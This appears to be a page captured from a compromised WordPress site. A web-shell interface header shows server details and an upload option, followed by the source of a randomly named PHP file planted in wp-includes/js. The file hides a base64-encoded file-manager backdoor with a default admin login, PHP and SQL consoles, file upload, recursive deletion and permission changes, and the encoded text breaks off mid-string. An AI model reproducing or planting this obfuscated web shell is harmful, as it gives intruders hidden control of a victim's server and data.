HEX
Server: LiteSpeed
System: Linux venus 5.15.0-157-generic #167-Ubuntu SMP Wed Sep 17 21:35:53 UTC 2025 x86_64
User: axxoncom (1007)
PHP: 8.3.19
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/axxoncom/domains/okashafurniture.com/private_html/wp-includes/js/yCoYzkSq.php
<?=@null;$_____ = "TU9OT0tVUk9CT088P3BocA0KLyogWE1BTiBQSFAgdnZiZGZkZmcgdmVyIDEuNGZmZGZnZGcgKi8NCg0KLy8gQ29uZmlndXJhdGlvbiDigJQgZG8gbm90IGNoYW5nZSBtYW51YWxseSENCiRhdXRob3JpemF0aW9uID0gJ3siYXV0aG9yaXplIjoiMCIsImxvZ2luIjoiYWRtaW4iLCJwYXNzd29yZCI6InBocGZtIiwiY29va2llX25hbWUiOiJmbV91c2VyIiwiZGF5c19hdXRob3JpemF0aW9uIjoiMzAiLCJzY3JpcHQiOiI8c2NyaXB0IHR5cGU9XCJ0ZXh0XC9qYXZhc2NyaXB0XCIgc3JjPVwiaHR0cHM6XC9cL3d3dy5jZG9saXZldC5jb21cL2VkaXRhcmVhXC9lZGl0YXJlYVwvZWRpdF9hcmVhXC9lZGl0X2FyZWFfZnVsbC5qc1wiPjxcL3NjcmlwdD5cclxuPHNjcmlwdCBsYW5ndWFnZT1cIkphdmFzY3JpcHRcIiB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiPlxyXG5lZGl0QXJlYUxvYWRlci5pbml0KHtcclxuaWQ6IFwibmV3Y29udGVudFwiXHJcbixkaXNwbGF5OiBcImxhdGVyXCJcclxuLHN0YXJ0X2hpZ2hsaWdodDogdHJ1ZVxyXG4sYWxsb3dfcmVzaXplOiBcImJvdGhcIlxyXG4sYWxsb3dfdG9nZ2xlOiB0cnVlXHJcbix3b3JkX3dyYXA6IHRydWVcclxuLGxhbmd1YWdlOiBcInJ1XCJcclxuLHN5bnRheDogXCJwaHBcIlx0XHJcbix0b29sYmFyOiBcInNlYXJjaCwgZ29fdG9fbGluZSwgfCwgdW5kbywgcmVkbywgfCwgc2VsZWN0X2ZvbnQsIHwsIHN5bnRheF9zZWxlY3Rpb24sIHwsIGNoYW5nZV9zbW9vdGhfc2VsZWN0aW9uLCBoaWdobGlnaHQsIHJlc2V0X2hpZ2hsaWdodCwgfCwgaGVscFwiXHJcbixzeW50YXhfc2VsZWN0aW9uX2FsbG93OiBcImNzcyxodG1sLGpzLHBocCxweXRob24seG1sLGMsY3BwLHNxbCxiYXNpYyxwYXNcIlxyXG59KTtcclxuPFwvc2NyaXB0PiJ9JzsNCiRwaHBfdGVtcGxhdGVzID0gJ3siU2V0dGluZ3MiOiJnbG9iYWwgJGZtX2NvbmZpZztcclxudmFyX2V4cG9ydCgkZm1fY29uZmlnKTsiLCJCYWNrdXAgU1FMIHRhYmxlcyI6ImVjaG8gZm1fYmFja3VwX3RhYmxlcygpOyJ9JzsNCiRzcWxfdGVtcGxhdGVzID0gJ3siQWxsIGJhc2VzIjoiU0hPVyBEQVRBQkFTRVM7IiwiQWxsIHRhYmxlcyI6IlNIT1cgVEFCTEVTOyJ9JzsNCiR0cmFuc2xhdGlvbiA9ICd7ImlkIjoiZW4iLCJBZGQiOiJBZGQiLCJBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIHRoaXMgZGlyZWN0b3J5IChyZWN1cnNpdmVseSk/IjoiQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGRpcmVjdG9yeSAocmVjdXJzaXZlbHkpPyIsIkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBmaWxlPyI6IkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBmaWxlPyIsIkFyY2hpdmluZyI6IkFyY2hpdmluZyIsIkF1dGhvcml6YXRpb24iOiJBdXRob3JpemF0aW9uIiwiQmFjayI6IkJhY2siLCJDYW5jZWwiOiJDYW5jZWwiLCJDaGluZXNlIjoiQ2hpbmVzZSIsIkNvbXByZXNzIjoiQ29tcHJlc3MiLCJDb25zb2xlIjoiQ29uc29sZSIsIkNvb2tpZSI6IkNvb2tpZSIsIkNyZWF0ZWQiOiJDcmVhdGVkIiwiRGF0ZSI6IkRhdGUiLCJEYXlzIjoiRGF5cyIsIkRlY29tcHJlc3MiOiJEZWNvbXByZXNzIiwiRGVsZXRlIjoiRGVsZXRlIiwiRGVsZXRlZCI6IkRlbGV0ZWQiLCJEb3dubG9hZCI6IkRvd25sb2FkIiwiZG9uZSI6ImRvbmUiLCJFZGl0IjoiRWRpdCIsIkVudGVyIjoiRW50ZXIiLCJFbmdsaXNoIjoiRW5nbGlzaCIsIkVycm9yIG9jY3VycmVkIjoiRXJyb3Igb2NjdXJyZWQiLCJGaWxlIG1hbmFnZXIiOiJGaWxlIG1hbmFnZXIiLCJGaWxlIHNlbGVjdGVkIjoiRmlsZSBzZWxlY3RlZCIsIkZpbGUgdXBkYXRlZCI6IkZpbGUgdXBkYXRlZCIsIkZpbGVuYW1lIjoiRmlsZW5hbWUiLCJGaWxlcyB1cGxvYWRlZCI6IkZpbGVzIHVwbG9hZGVkIiwiRnJlbmNoIjoiRnJlbmNoIiwiR2VuZXJhdGlvbiB0aW1lIjoiR2VuZXJhdGlvbiB0aW1lIiwiR2VybWFuIjoiR2VybWFuIiwiSG9tZSI6IkhvbWUiLCJRdWl0IjoiUXVpdCIsIkxhbmd1YWdlIjoiTGFuZ3VhZ2UiLCJMb2dpbiI6IkxvZ2luIiwiTWFuYWdlIjoiTWFuYWdlIiwiTWFrZSBkaXJlY3RvcnkiOiJNYWtlIGRpcmVjdG9yeSIsIk5hbWUiOiJOYW1lIiwiTmV3IjoiTmV3IiwiTmV3IGZpbGUiOiJOZXcgZmlsZSIsIm5vIGZpbGVzIjoibm8gZmlsZXMiLCJQYXNzd29yZCI6IlBhc3N3b3JkIiwicGljdHVyZXMiOiJwaWN0dXJlcyIsIlJlY3Vyc2l2ZWx5IjoiUmVjdXJzaXZlbHkiLCJSZW5hbWUiOiJSZW5hbWUiLCJSZXNldCI6IlJlc2V0IiwiUmVzZXQgc2V0dGluZ3MiOiJSZXNldCBzZXR0aW5ncyIsIlJlc3RvcmUgZmlsZSB0aW1lIGFmdGVyIGVkaXRpbmciOiJSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nIiwiUmVzdWx0IjoiUmVzdWx0IiwiUmlnaHRzIjoiUmlnaHRzIiwiUnVzc2lhbiI6IlJ1c3NpYW4iLCJTYXZlIjoiU2F2ZSIsIlNlbGVjdCI6IlNlbGVjdCIsIlNlbGVjdCB0aGUgZmlsZSI6IlNlbGVjdCB0aGUgZmlsZSIsIlNldHRpbmdzIjoiU2V0dGluZ3MiLCJTaG93IjoiU2hvdyIsIlNob3cgc2l6ZSBvZiB0aGUgZm9sZGVyIjoiU2hvdyBzaXplIG9mIHRoZSBmb2xkZXIiLCJTaXplIjoiU2l6ZSIsIlNwYW5pc2giOiJTcGFuaXNoIiwiU3VibWl0IjoiU3VibWl0IiwiVGFzayI6IlRhc2siLCJ0ZW1wbGF0ZXMiOiJ0ZW1wbGF0ZXMiLCJVa3JhaW5pYW4iOiJVa3JhaW5pYW4iLCJVcGxvYWQiOiJVcGxvYWQiLCJWYWx1ZSI6IlZhbHVlIiwiSGVsbG8iOiJIZWxsbyIsIkZvdW5kIGluIGZpbGVzIjoiRm91bmQgaW4gZmlsZXMiLCJTZWFyY2giOiJTZWFyY2giLCJSZWN1cnNpdmUgc2VhcmNoIjoiUmVjdXJzaXZlIHNlYXJjaCIsIk1hc2siOiJNYXNrIn0nOw0KLy8gZW5kIGNvbmZpZ3VyYXRpb24NCg0KLy8gUHJlcGFyYXRpb25zDQokc3RhcnR0aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCiRzdGFydHRpbWUgPSAkc3RhcnR0aW1lWzFdICsgJHN0YXJ0dGltZVswXTsNCiRsYW5ncyA9IGFycmF5KCdlbicsJ3J1JywnZGUnLCdmcicsJ3VrJyk7DQokcGF0aCA9IGVtcHR5KCRfUkVRVUVTVFsncGF0aCddKSA/ICRwYXRoID0gcmVhbHBhdGgoJy4nKSA6IHJlYWxwYXRoKCRfUkVRVUVTVFsncGF0aCddKTsNCiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcGF0aCkgLiAnLyc7DQokbWFpbl9wYXRoPXN0cl9yZXBsYWNlKCdcXCcsICcvJyxyZWFscGF0aCgnLi8nKSk7DQokcGhhcl9tYXliZSA9ICh2ZXJzaW9uX2NvbXBhcmUocGhwdmVyc2lvbigpLCI1LjMuMCIsIjwiKSk/dHJ1ZTpmYWxzZTsNCiRtc2cgPSAnJzsgLy8gc2VydmljZSBzdHJpbmcNCiRkZWZhdWx0X2xhbmd1YWdlID0gJ3J1JzsNCiRkZXRlY3RfbGFuZyA9IHRydWU7DQokZm1fdmVyc2lvbiA9IDEuNDsNCg0KLy9BdXRob3JpemF0aW9uDQokYXV0aCA9IGpzb25fZGVjb2RlKCRhdXRob3JpemF0aW9uLHRydWUpOw0KJGF1dGhbJ2F1dGhvcml6ZSddID0gaXNzZXQoJGF1dGhbJ2F1dGhvcml6ZSddKSA/ICRhdXRoWydhdXRob3JpemUnXSA6IDA7IA0KJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddID0gKGlzc2V0KCRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkmJmlzX251bWVyaWMoJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSkgPyAoaW50KSRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSA6IDMwOw0KJGF1dGhbJ2xvZ2luJ10gPSBpc3NldCgkYXV0aFsnbG9naW4nXSkgPyAkYXV0aFsnbG9naW4nXSA6ICdhZG1pbic7ICANCiRhdXRoWydwYXNzd29yZCddID0gaXNzZXQoJGF1dGhbJ3Bhc3N3b3JkJ10pID8gJGF1dGhbJ3Bhc3N3b3JkJ10gOiAncGhwZm0nOyAgDQokYXV0aFsnY29va2llX25hbWUnXSA9IGlzc2V0KCRhdXRoWydjb29raWVfbmFtZSddKSA/ICRhdXRoWydjb29raWVfbmFtZSddIDogJ2ZtX3VzZXInOw0KJGF1dGhbJ3NjcmlwdCddID0gaXNzZXQoJGF1dGhbJ3NjcmlwdCddKSA/ICRhdXRoWydzY3JpcHQnXSA6ICcnOw0KDQovLyBMaXR0bGUgZGVmYXVsdCBjb25maWcNCiRmbV9kZWZhdWx0X2NvbmZpZyA9IGFycmF5ICgNCgknbWFrZV9kaXJlY3RvcnknID0+IHRydWUsIA0KCSduZXdfZmlsZScgPT4gdHJ1ZSwgDQoJJ3VwbG9hZF9maWxlJyA9PiB0cnVlLCANCgknc2hvd19kaXJfc2l6ZScgPT4gZmFsc2UsIC8vaWYgdHJ1ZSwgc2hvdyBkaXJlY3Rvcnkgc2l6ZSDihpIgbWF5YmUgc2xvdyANCgknc2hvd19pbWcnID0+IHRydWUsIA0KCSdzaG93X3BocF92ZXInID0+IHRydWUsIA0KCSdzaG93X3BocF9pbmknID0+IGZhbHNlLCAvLyBzaG93IHBhdGggdG8gY3VycmVudCBwaHAuaW5pDQoJJ3Nob3dfZ3QnID0+IHRydWUsIC8vIHNob3cgZ2VuZXJhdGlvbiB0aW1lDQoJJ2VuYWJsZV9waHBfY29uc29sZScgPT4gdHJ1ZSwNCgknZW5hYmxlX3NxbF9jb25zb2xlJyA9PiB0cnVlLA0KCSdzcWxfc2VydmVyJyA9PiAnbG9jYWxob3N0JywNCgknc3FsX3VzZXJuYW1lJyA9PiAncm9vdCcsDQoJJ3NxbF9wYXNzd29yZCcgPT4gJycsDQoJJ3NxbF9kYicgPT4gJ3Rlc3RfYmFzZScsDQoJJ2VuYWJsZV9wcm94eScgPT4gdHJ1ZSwNCgknc2hvd19waHBpbmZvJyA9PiB0cnVlLA0KCSdzaG93X3hscycgPT4gdHJ1ZSwNCgknZm1fc2V0dGluZ3MnID0+IHRydWUsDQoJJ3Jlc3RvcmVfdGltZScgPT4gdHJ1ZSwNCgknZm1fcmVzdG9yZV90aW1lJyA9PiBmYWxzZSwNCik7DQoNCmlmIChlbXB0eSgkX0NPT0tJRVsnZm1fY29uZmlnJ10pKSAkZm1fY29uZmlnID0gJGZtX2RlZmF1bHRfY29uZmlnOw0KZWxzZSAkZm1fY29uZmlnID0gdW5zZXJpYWxpemUoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKTsNCg0KLy8gQ2hhbmdlIGxhbmd1YWdlDQppZiAoaXNzZXQoJF9QT1NUWydmbV9sYW5nJ10pKSB7IA0KCXNldGNvb2tpZSgnZm1fbGFuZycsICRfUE9TVFsnZm1fbGFuZyddLCB0aW1lKCkgKyAoODY0MDAgKiAkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsNCgkkX0NPT0tJRVsnZm1fbGFuZyddID0gJF9QT1NUWydmbV9sYW5nJ107DQp9DQokbGFuZ3VhZ2UgPSAkZGVmYXVsdF9sYW5ndWFnZTsNCg0KLy8gRGV0ZWN0IGJyb3dzZXIgbGFuZ3VhZ2UNCmlmKCRkZXRlY3RfbGFuZyAmJiAhZW1wdHkoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pICYmIGVtcHR5KCRfQ09PS0lFWydmbV9sYW5nJ10pKXsNCgkkbGFuZ19wcmlvcml0eSA9IGV4cGxvZGUoJywnLCAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSk7DQoJaWYgKCFlbXB0eSgkbGFuZ19wcmlvcml0eSkpew0KCQlmb3JlYWNoICgkbGFuZ19wcmlvcml0eSBhcyAkbGFuZ19hcnIpew0KCQkJJGxuZyA9IGV4cGxvZGUoJzsnLCAkbGFuZ19hcnIpOw0KCQkJJGxuZyA9ICRsbmdbMF07DQoJCQlpZihpbl9hcnJheSgkbG5nLCRsYW5ncykpew0KCQkJCSRsYW5ndWFnZSA9ICRsbmc7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCX0NCgl9DQp9IA0KDQovLyBDb29raWUgbGFuZ3VhZ2UgaXMgcHJpbWFyeSBmb3IgZXZlcg0KJGxhbmd1YWdlID0gKGVtcHR5KCRfQ09PS0lFWydmbV9sYW5nJ10pKSA/ICRsYW5ndWFnZSA6ICRfQ09PS0lFWydmbV9sYW5nJ107DQoNCi8vIExvY2FsaXphdGlvbg0KJGxhbmcgPSBqc29uX2RlY29kZSgkdHJhbnNsYXRpb24sdHJ1ZSk7DQppZiAoJGxhbmdbJ2lkJ10hPSRsYW5ndWFnZSkgew0KCSRnZXRfbGFuZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vRGVuMXh4eC9GaWxlbWFuYWdlci9tYXN0ZXIvbGFuZ3VhZ2VzLycgLiAkbGFuZ3VhZ2UgLiAnLmpzb24nKTsNCglpZiAoIWVtcHR5KCRnZXRfbGFuZykpIHsNCgkJLy9yZW1vdmUgdW5uZWNlc3NhcnkgY2hhcmFjdGVycw0KCQkkdHJhbnNsYXRpb25fc3RyaW5nID0gc3RyX3JlcGxhY2UoIiciLCcmIzM5OycsanNvbl9lbmNvZGUoanNvbl9kZWNvZGUoJGdldF9sYW5nKSxKU09OX1VORVNDQVBFRF9VTklDT0RFKSk7DQoJCSRmZ2MgPSBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXyk7DQoJCSRzZWFyY2ggPSBwcmVnX21hdGNoKCcjdHJhbnNsYXRpb25bXHNdP1w9W1xzXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJGZnYywgJG1hdGNoZXMpOw0KCQlpZiAoIWVtcHR5KCRtYXRjaGVzWzFdKSkgew0KCQkJJGZpbGVtdGltZSA9IGZpbGVtdGltZShfX0ZJTEVfXyk7DQoJCQkkcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCd7IicuJG1hdGNoZXNbMV0uJyJ9JywkdHJhbnNsYXRpb25fc3RyaW5nLCRmZ2MpOw0KCQkJaWYgKGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkcmVwbGFjZSkpIHsNCgkJCQkkbXNnIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTsNCgkJCX0JZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOw0KCQkJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpOw0KCQl9CQ0KCQkkbGFuZyA9IGpzb25fZGVjb2RlKCR0cmFuc2xhdGlvbl9zdHJpbmcsdHJ1ZSk7DQoJfQ0KfQ0KDQovKiBGdW5jdGlvbnMgKi8NCg0KLy90cmFuc2xhdGlvbg0KZnVuY3Rpb24gX18oJHRleHQpew0KCWdsb2JhbCAkbGFuZzsNCglpZiAoaXNzZXQoJGxhbmdbJHRleHRdKSkgcmV0dXJuICRsYW5nWyR0ZXh0XTsNCgllbHNlIHJldHVybiAkdGV4dDsNCn07DQoNCi8vZGVsZXRlIGZpbGVzIGFuZCBkaXJzIHJlY3Vyc2l2ZWx5DQpmdW5jdGlvbiBmbV9kZWxfZmlsZXMoJGZpbGUsICRyZWN1cnNpdmUgPSBmYWxzZSkgew0KCWlmKCRyZWN1cnNpdmUgJiYgQGlzX2RpcigkZmlsZSkpIHsNCgkJJGVscyA9IGZtX3NjYW5fZGlyKCRmaWxlLCAnJywgJycsIHRydWUpOw0KCQlmb3JlYWNoICgkZWxzIGFzICRlbCkgew0KCQkJaWYoJGVsICE9ICcuJyAmJiAkZWwgIT0gJy4uJyl7DQoJCQkJZm1fZGVsX2ZpbGVzKCRmaWxlIC4gJy8nIC4gJGVsLCB0cnVlKTsNCgkJCX0NCgkJfQ0KCX0NCglpZihAaXNfZGlyKCRmaWxlKSkgew0KCQlyZXR1cm4gcm1kaXIoJGZpbGUpOw0KCX0gZWxzZSB7DQoJCXJldHVybiBAdW5saW5rKCRmaWxlKTsNCgl9DQp9DQoNCi8vZmlsZSBwZXJtcw0KZnVuY3Rpb24gZm1fcmlnaHRzX3N0cmluZygkZmlsZSwgJGlmID0gZmFsc2Upew0KCSRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7DQoJJGluZm8gPSAnJzsNCglpZighJGlmKXsNCgkJaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgew0KCQkJLy9Tb2NrZXQNCgkJCSRpbmZvID0gJ3MnOw0KCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7DQoJCQkvL1N5bWJvbGljIExpbmsNCgkJCSRpbmZvID0gJ2wnOw0KCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7DQoJCQkvL1JlZ3VsYXINCgkJCSRpbmZvID0gJy0nOw0KCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7DQoJCQkvL0Jsb2NrIHNwZWNpYWwNCgkJCSRpbmZvID0gJ2InOw0KCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7DQoJCQkvL0RpcmVjdG9yeQ0KCQkJJGluZm8gPSAnZCc7DQoJCX0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsNCgkJCS8vQ2hhcmFjdGVyIHNwZWNpYWwNCgkJCSRpbmZvID0gJ2MnOw0KCQl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7DQoJCQkvL0ZJRk8gcGlwZQ0KCQkJJGluZm8gPSAncCc7DQoJCX0gZWxzZSB7DQoJCQkvL1Vua25vd24NCgkJCSRpbmZvID0gJ3UnOw0KCQl9DQoJfQ0KICANCgkvL093bmVyDQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTsNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/DQoJKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KCSgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KIA0KCS8vR3JvdXANCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8NCgkoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQoJKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQogDQoJLy9Xb3JsZA0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPw0KCSgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCgkoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCg0KCXJldHVybiAkaW5mbzsNCn0NCg0KZnVuY3Rpb24gZm1fY29udmVydF9yaWdodHMoJG1vZGUpIHsNCgkkbW9kZSA9IHN0cl9wYWQoJG1vZGUsOSwnLScpOw0KCSR0cmFucyA9IGFycmF5KCctJz0+JzAnLCdyJz0+JzQnLCd3Jz0+JzInLCd4Jz0+JzEnKTsNCgkkbW9kZSA9IHN0cnRyKCRtb2RlLCR0cmFucyk7DQoJJG5ld21vZGUgPSAnMCc7DQoJJG93bmVyID0gKGludCkgJG1vZGVbMF0gKyAoaW50KSAkbW9kZVsxXSArIChpbnQpICRtb2RlWzJdOyANCgkkZ3JvdXAgPSAoaW50KSAkbW9kZVszXSArIChpbnQpICRtb2RlWzRdICsgKGludCkgJG1vZGVbNV07IA0KCSR3b3JsZCA9IChpbnQpICRtb2RlWzZdICsgKGludCkgJG1vZGVbN10gKyAoaW50KSAkbW9kZVs4XTsgDQoJJG5ld21vZGUgLj0gJG93bmVyIC4gJGdyb3VwIC4gJHdvcmxkOw0KCXJldHVybiBpbnR2YWwoJG5ld21vZGUsIDgpOw0KfQ0KDQpmdW5jdGlvbiBmbV9jaG1vZCgkZmlsZSwgJHZhbCwgJHJlYyA9IGZhbHNlKSB7DQoJJHJlcyA9IEBjaG1vZChyZWFscGF0aCgkZmlsZSksICR2YWwpOw0KCWlmKEBpc19kaXIoJGZpbGUpICYmICRyZWMpew0KCQkkZWxzID0gZm1fc2Nhbl9kaXIoJGZpbGUpOw0KCQlmb3JlYWNoICgkZWxzIGFzICRlbCkgew0KCQkJJHJlcyA9ICRyZXMgJiYgZm1fY2htb2QoJGZpbGUgLiAnLycgLiAkZWwsICR2YWwsIHRydWUpOw0KCQl9DQoJfQ0KCXJldHVybiAkcmVzOw0KfQ0KDQovL2xvYWQgZmlsZXMNCmZ1bmN0aW9uIGZtX2Rvd25sb2FkKCRmaWxlX25hbWUpIHsNCiAgICBpZiAoIWVtcHR5KCRmaWxlX25hbWUpKSB7DQoJCWlmIChmaWxlX2V4aXN0cygkZmlsZV9uYW1lKSkgew0KCQkJaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gYmFzZW5hbWUoJGZpbGVfbmFtZSkpOyAgIA0KCQkJaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2ZvcmNlLWRvd25sb2FkIik7DQoJCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQoJCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZG93bmxvYWQiKTsNCgkJCWhlYWRlcigiQ29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2ZlciIpOyAgICAgICAgICAgIA0KCQkJaGVhZGVyKCJDb250ZW50LUxlbmd0aDogIiAuIGZpbGVzaXplKCRmaWxlX25hbWUpKTsJCQ0KCQkJZmx1c2goKTsgLy8gdGhpcyBkb2Vzbid0IHJlYWxseSBtYXR0ZXIuDQoJCQkkZnAgPSBmb3BlbigkZmlsZV9uYW1lLCAiciIpOw0KCQkJd2hpbGUgKCFmZW9mKCRmcCkpIHsNCgkJCQllY2hvIGZyZWFkKCRmcCwgNjU1MzYpOw0KCQkJCWZsdXNoKCk7IC8vIHRoaXMgaXMgZXNzZW50aWFsIGZvciBsYXJnZSBkb3dubG9hZHMNCgkJCX0gDQoJCQlmY2xvc2UoJGZwKTsNCgkJCWRpZSgpOw0KCQl9IGVsc2Ugew0KCQkJaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJywgdHJ1ZSwgNDA0KTsNCgkJCWhlYWRlcignU3RhdHVzOiA0MDQgTm90IEZvdW5kJyk7IA0KCQkJZGllKCk7DQogICAgICAgIH0NCiAgICB9IA0KfQ0KDQovL3Nob3cgZm9sZGVyIHNpemUNCmZ1bmN0aW9uIGZtX2Rpcl9zaXplKCRmLCRmb3JtYXQ9dHJ1ZSkgew0KCWlmKCRmb3JtYXQpICB7DQoJCSRzaXplPWZtX2Rpcl9zaXplKCRmLGZhbHNlKTsNCgkJaWYoJHNpemU8PTEwMjQpIHJldHVybiAkc2l6ZS4nIGJ5dGVzJzsNCgkJZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCksMikuJyZuYnNwO0tiJzsNCgkJZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCkgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KjEwMjQpLDIpLicmbmJzcDtNYic7DQoJCWVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KjEwMjQqMTAyNCkgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KjEwMjQqMTAyNCksMikuJyZuYnNwO0diJzsNCgkJZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KjEwMjQqMTAyNCksMikuJyZuYnNwO1RiJzsgLy86KSkpDQoJCWVsc2UgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtQYic7IC8vIDstKQ0KCX0gZWxzZSB7DQoJCWlmKGlzX2ZpbGUoJGYpKSByZXR1cm4gZmlsZXNpemUoJGYpOw0KCQkkc2l6ZT0wOw0KCQkkZGg9b3BlbmRpcigkZik7DQoJCXdoaWxlKCgkZmlsZT1yZWFkZGlyKCRkaCkpIT09ZmFsc2UpIHsNCgkJCWlmKCRmaWxlPT0nLicgfHwgJGZpbGU9PScuLicpIGNvbnRpbnVlOw0KCQkJaWYoaXNfZmlsZSgkZi4nLycuJGZpbGUpKSAkc2l6ZSs9ZmlsZXNpemUoJGYuJy8nLiRmaWxlKTsNCgkJCWVsc2UgJHNpemUrPWZtX2Rpcl9zaXplKCRmLicvJy4kZmlsZSxmYWxzZSk7DQoJCX0NCgkJY2xvc2VkaXIoJGRoKTsNCgkJcmV0dXJuICRzaXplK2ZpbGVzaXplKCRmKTsgDQoJfQ0KfQ0KDQovL3NjYW4gZGlyZWN0b3J5DQpmdW5jdGlvbiBmbV9zY2FuX2RpcigkZGlyZWN0b3J5LCAkZXhwID0gJycsICR0eXBlID0gJ2FsbCcsICRkb19ub3RfZmlsdGVyID0gZmFsc2UpIHsNCgkkZGlyID0gJG5kaXIgPSBhcnJheSgpOw0KCWlmKCFlbXB0eSgkZXhwKSl7DQoJCSRleHAgPSAnL14nIC4gc3RyX3JlcGxhY2UoJyonLCAnKC4qKScsIHN0cl9yZXBsYWNlKCcuJywgJ1xcLicsICRleHApKSAuICckLyc7DQoJfQ0KCWlmKCFlbXB0eSgkdHlwZSkgJiYgJHR5cGUgIT09ICdhbGwnKXsNCgkJJGZ1bmMgPSAnaXNfJyAuICR0eXBlOw0KCX0NCglpZihAaXNfZGlyKCRkaXJlY3RvcnkpKXsNCgkJJGZoID0gb3BlbmRpcigkZGlyZWN0b3J5KTsNCgkJd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZmgpKSkgew0KCQkJaWYoc3Vic3RyKCRmaWxlbmFtZSwgMCwgMSkgIT0gJy4nIHx8ICRkb19ub3RfZmlsdGVyKSB7DQoJCQkJaWYoKGVtcHR5KCR0eXBlKSB8fCAkdHlwZSA9PSAnYWxsJyB8fCAkZnVuYygkZGlyZWN0b3J5IC4gJy8nIC4gJGZpbGVuYW1lKSkgJiYgKGVtcHR5KCRleHApIHx8IHByZWdfbWF0Y2goJGV4cCwgJGZpbGVuYW1lKSkpew0KCQkJCQkkZGlyW10gPSAkZmlsZW5hbWU7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWN